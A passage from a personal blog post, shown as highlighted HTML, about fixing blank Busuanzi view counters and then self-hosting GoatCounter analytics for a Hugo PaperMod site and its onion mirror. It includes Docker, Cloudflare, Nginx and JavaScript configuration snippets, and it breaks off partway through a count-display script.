</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>Site views: <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"vercount_value_site_pv"</span>>—</<span style="color:#f92672">span</span>></<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>·</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>Visitors: <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"vercount_value_site_uv"</span>>—</<span style="color:#f92672">span</span>></<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span></code></pre></div><p>For per‑post counts (in the post meta), I added:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"vercount_value_page_pv"</span>>—</<span style="color:#f92672">span</span>> views
|
||||
</span></span></code></pre></div><p>Deploy. Refresh. <strong>Numbers.</strong></p>
|
||||
<h3 id="but-if-you-want-to-stay-with-busuanzi">But if you want to stay with Busuanzi…</h3>
|
||||
<p>If your apex domain is short enough, pointing the site there works fine. The gist:</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Set <code>baseURL</code> in Hugo to the apex:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://alipourimjourneys.ir/"</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li>
|
||||
<p>Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<h3 id="postmortem-checklist-aka-things-i-learned">Post‑mortem checklist (a.k.a. things I learned)</h3>
|
||||
<ul>
|
||||
<li><strong>If the script loads but you get blanks</strong>, it’s not always IDs or caching. Sometimes it’s a <strong>service rule</strong>.</li>
|
||||
<li><strong>Busuanzi refuses long hostnames</strong> (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.</li>
|
||||
<li><strong>Don’t mix providers</strong> on the same page. Load exactly one script (Busuanzi <em>or</em> Vercount).</li>
|
||||
<li><strong>CSP and blockers matter.</strong> If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.</li>
|
||||
</ul>
|
||||
<h3 id="happy-ending">Happy ending</h3>
|
||||
<p>Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.</p>
|
||||
<p>If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.</p>
|
||||
<h3 id="final-notes">Final notes</h3>
|
||||
<p>Yea… I just felt this feature was missing, and it’s good to have it there.
|
||||
I hope I stop adding things to the blog, and just keep writing in it.
|
||||
I’ve spent too much time on it, and it feels like wasted time.</p>
|
||||
<hr>
|
||||
<h2 id="change-of-plans-selfhosting-goatcounter-for-papermod-docker--cloudflare--onion">Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)</h2>
|
||||
<p>This is the <strong>self‑host</strong> part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my <code>.onion</code> mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.</p>
|
||||
<hr>
|
||||
<h3 id="1-clean-up-old-counters-optional-once">1) Clean up old counters (optional, once)</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># From your Hugo site root</span>
|
||||
</span></span><span style="display:flex;"><span>grep -RinE <span style="color:#e6db74">"busuanzi|vercount|vercount_value_|busuanzi_value_"</span> .
|
||||
</span></span></code></pre></div><p>Remove any matching <code><script></code> and leftover <code>*_value_*</code> spans you no longer want.</p>
|
||||
<hr>
|
||||
<h3 id="2-run-goatcounter-with-docker-compose">2) Run GoatCounter with Docker Compose</h3>
|
||||
<p>Minimal <code>docker-compose.yml</code> in <code>~/goatcounter</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">goatcounter</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">image</span>: <span style="color:#ae81ff">arp242/goatcounter:2.6</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">goatcounter</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ports</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"127.0.0.1:8081:8080"</span> <span style="color:#75715e"># bind only to localhost; nginx will proxy</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">goatcounter-data:/home/goatcounter/goatcounter-data</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">goatcounter-data</span>: {}
|
||||
</span></span></code></pre></div><p>Start:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose pull <span style="color:#f92672">&&</span> docker compose up -d
|
||||
</span></span></code></pre></div><p>Initialize the site (replace email if needed):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec goatcounter goatcounter db create site -vhost<span style="color:#f92672">=</span>statsblog.alipourimjourneys.ir -user.email<span style="color:#f92672">=</span>iman.alip2001@gmail.com
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>If you ever see “no site at this domain” on localhost: use the exact <strong>vhost</strong> above.</p></blockquote>
|
||||
<hr>
|
||||
<h3 id="3-cloudflare--origin-certificate-cf--origin-tls">3) Cloudflare + Origin certificate (CF → origin TLS)</h3>
|
||||
<ul>
|
||||
<li>DNS: <code>statsblog.alipourimjourneys.ir</code> → server IP (<strong>proxied/orange</strong>).</li>
|
||||
<li>SSL/TLS mode: <strong>Full (strict)</strong>.</li>
|
||||
<li>Issue a <strong>Cloudflare Origin Certificate</strong> for <code>statsblog.alipourimjourneys.ir</code> and save on the server:</li>
|
||||
</ul>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /etc/ssl/cloudflare
|
||||
</span></span><span style="display:flex;"><span>sudo nano /etc/ssl/cloudflare/origin.crt <span style="color:#75715e"># paste PEM</span>
|
||||
</span></span><span style="display:flex;"><span>sudo nano /etc/ssl/cloudflare/origin.key <span style="color:#75715e"># paste key</span>
|
||||
</span></span><span style="display:flex;"><span>sudo chown root:root /etc/ssl/cloudflare/origin.<span style="color:#f92672">{</span>crt,key<span style="color:#f92672">}</span>
|
||||
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">644</span> /etc/ssl/cloudflare/origin.crt
|
||||
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">600</span> /etc/ssl/cloudflare/origin.key
|
||||
</span></span></code></pre></div><hr>
|
||||
<h3 id="4-nginx-vhost-for-the-stats-subdomain">4) Nginx vhost for the stats subdomain</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate</span> <span style="color:#e6db74">/etc/ssl/cloudflare/origin.crt</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/ssl/cloudflare/origin.key</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Proxy to the container on localhost
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span> $remote_addr;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081</span>; }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Enable & reload:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
|
||||
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx
|
||||
</span></span></code></pre></div><hr>
|
||||
<h3 id="5-hugo-integration-clearnet--onion-singularplural--0-views">5) Hugo integration (clearnet + onion, singular/plural + “0 views”)</h3>
|
||||
<p>Self‑host <code>count.js</code> so the onion mirror never fetches a third‑party script:</p>
|
||||
<ul>
|
||||
<li>Save the official <code>count.js</code> as <code>static/js/count.js</code> in your Hugo repo.</li>
|
||||
</ul>
|
||||
<p>Then add this to <code>layouts/partials/extend_head.html</code> <strong>(loader + helper)</strong>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- Loader: choose endpoint based on hostname --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/\.onion$/i</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hostname</span>);
|
||||
</span></span><span style="display:flex;"><span> window.<span style="color:#a6e22e">goatcounter</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">endpoint</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'/count'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'https://statsblog.alipourimjourneys.ir/count'</span> };
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'script'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#66d9ef">async</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>; <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">src</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">'/js/count.js'</span>;
|
||||
</span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">head</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">s</span>);
|
||||
</span></span><span style="display:flex;"><span>})();
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"><!-- Helper: inline meta counts (post pages + lists) and totals --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/\.onion$/i</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hostname</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">GC_HOST</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ONION</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">''</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'https://statsblog.alipourimjourneys.ir'</span>; <span style="color:#75715e">// '' = same-origin on .onion
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SING</span><span style="color:#f92672">=</span><span style="color:#e6db74">'view'</span>, <span style="color:#a6e22e">PLUR</span><span style="color:#f92672">=</span><span style="color:#e6db74">'views'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">nf</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Intl</span>.<span style="color:#a6e22e">NumberFormat</span>();
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">ready</span>(<span style="color:#a6e22e">fn</span>){ <span style="color:#66d9ef">if</span> (document.<span style="color:#a6e22e">readyState</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">'loading'</span>) <span style="color:#a6e22e">fn</span>(); <span style="color:#66d9ef">else</span> document.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'DOMContentLoaded'</span>, <span style="color:#a6e22e">fn</span>); }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">gcPath</span>(){ <span style="color:#66d9ef">try</span> { <span style="color:#66d9ef">return</span> (window.<span style="color:#a6e22e">goatcounter</span> <span style="color:#f92672">&&</span> window.<span style="color:#a6e22e">goatcounter</span>.<span style="color:#a6e22e">get_data</span>) <span style="color:#f92672">?</span> window.<span style="color:#a6e22e">goatcounter</span>.<span style="color:#a6e22e">get_data</span>().<span style="color:#a6e22e">p</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">pathname</span>; } <span style="color:#66d9ef">catch</span> { <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">pathname</span>; } }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">path</span>){
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">GC_HOST</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/counter/</span><span style="color:#e6db74">${</span>encodeURIComponent(<span style="color:#a6e22e">path</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">.json?t=</span><span style="color:#e6db74">${</span>Date.<span style="color:#a6e22e">now</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, { <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span><span style="color:#e6db74">'omit'</span> });
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">status</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">404</span>) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">ok</span>) <span style="color:#66d9ef">throw</span> <span style="color:#ae81ff">0</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">json</span>();
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> Number(String(<span style="color:#a6e22e">j</span>.<span style="color:#a6e22e">count</span>).<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">/,/g</span>,<span style="color:#e6db74">''</span>));
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> Number.isFinite(<span style="color:#a6e22e">n</span>) <span style="color:#f92672">?</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
|
||||
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">catch</span> { <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>; }
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">label</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">n</span>) => (<span style="color:#a6e22e">n</span> <span style="color:#f92672">===</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'—'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">nf</span>.<span style="color:#a6e22e">format</span>(<span style="color:#a6e22e">n</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74"> </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">n</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">?</span> <span style="color:#a6e22e">SING</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">PLUR</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ready</span>(<span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> () {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// A) Single post: add to existing meta row + small bottom
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">post</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-single'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">post</span>) {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">meta</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-header .post-meta, .post-header .entry-meta, .post-meta'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">gcPath</span>();
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">path</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">meta</span>) {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-views'</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">span</span>) { <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'span'</span>); <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">'post-views'</span>; <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">span</span>); }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">after</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-content'</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">post</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">bottom</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">post</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-views-bottom'</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">bottom</span>) { <span style="color:#a6e22e">bottom</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'div'</span>); <span style="color:#a6e22e">bottom</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">'post-views-bottom'</span>; <span style="color:#a6e22e">after</span>.<span style="color:#a6e22e">insertAdjacentElement</span>(<span style="color:#e6db74">'afterend'</span>, <span style="color:#a6e22e">bottom</span>); }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">bottom</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// B) Lists (/posts, home, sections): show “0 views” instead of hiding
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cards</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelectorAll</span>(<span style="color:#e6db74">'article.post-entry'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">await</span> Promise.<span style="color:#a6e22e">all</span>(Array.<span style="color:#a6e22e">from</span>(<span style="color:#a6e22e">cards</span>).<span style="color:#a6e22e">map</span>(<span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">card</span>) => {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">meta</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">card</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.entry-footer, .post-meta'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">link</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">card</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'a.entry-link, h2 a, .entry-title a'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">meta</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">link</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">u</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">link</span>.<span style="color:#a6e22e">getAttribute</span>(<span style="color:#e6db74">'href'</span>), <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">origin</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">u</span>.<span style="color:#a6e22e">origin</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">origin</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'.post-views'</span>); <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">span</span>) { <span style="color:#a6e22e">span</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'span'</span>); <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">className</span><span style="color:#f92672">=</span><span style="color:#e6db74">'post-views'</span>; <span style="color:#a6e22e">meta</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">span</span>); }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">u</span>.<span style="color:#a6e22e">pathname</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
|
||||
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">catch</span> {}
|
||||
</span></span><span style="display:flex;"><span> }));
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// C) Site totals (optional placeholders)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">pvEl</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'vercount_value_site_pv'</span>);
|
||||
